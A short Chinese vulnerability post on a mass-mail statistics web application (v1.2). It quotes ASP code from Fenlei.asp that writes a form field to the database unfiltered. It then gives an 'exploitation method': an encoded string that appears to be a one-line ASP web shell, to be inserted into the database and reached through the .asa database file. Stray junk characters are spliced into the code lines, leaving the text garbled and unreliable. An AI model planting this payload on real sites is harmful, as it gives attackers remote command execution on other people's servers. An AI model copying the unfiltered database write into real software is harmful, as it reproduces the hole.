铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

IF Request.QueryString("Action")="del" Then
ID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
'略
IF Request.QueryString("Action")="Add" Then
. F6 ?& s2 A  C: Z) x8 P% W& E6 r! @Tname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
6 I* s8 F2 L, x7 J/ A) s# }- wSql="Select * From Fenlei Order by id Desc "
4 S+ o7 L; t: |  h3 _7 \7 URs.Open Sql,Conn,1,3
& w4 W: S, {8 j! H0 C5 _0 bRs.Addnew
* V6 G) a6 z( W/ ?5 k7 s! j9 bRs("Typename")=Tname
5 v) j4 U' @' b- n: c'略
Set Rs=Server.CreateObject("adodb.Recordset")
$ z% ]3 t6 r6 c( z; t5 Z; ]& [+ zSql="Select * From Fenlei Order by id Desc "
* u. C2 Z* |3 V1 {Rs.Open Sql,Conn,1,1
'略
# K1 B2 K, }. g5 M& _%>



没有过滤，直接写入数据库。

利用方法：
. S( `5 D8 w8 ~+ K
) S; A( s: }: o3 X6 T! z0 `5 ]插入：┼攠數畣整爠煥敵瑳∨≡┩>
" h, P# L% `/ F( L* I% u% V. c

连接： http://www.xxx.com/###tongbaner.asa
'默认安装文件：
'install.asp
5 R/ @3 R; q1 O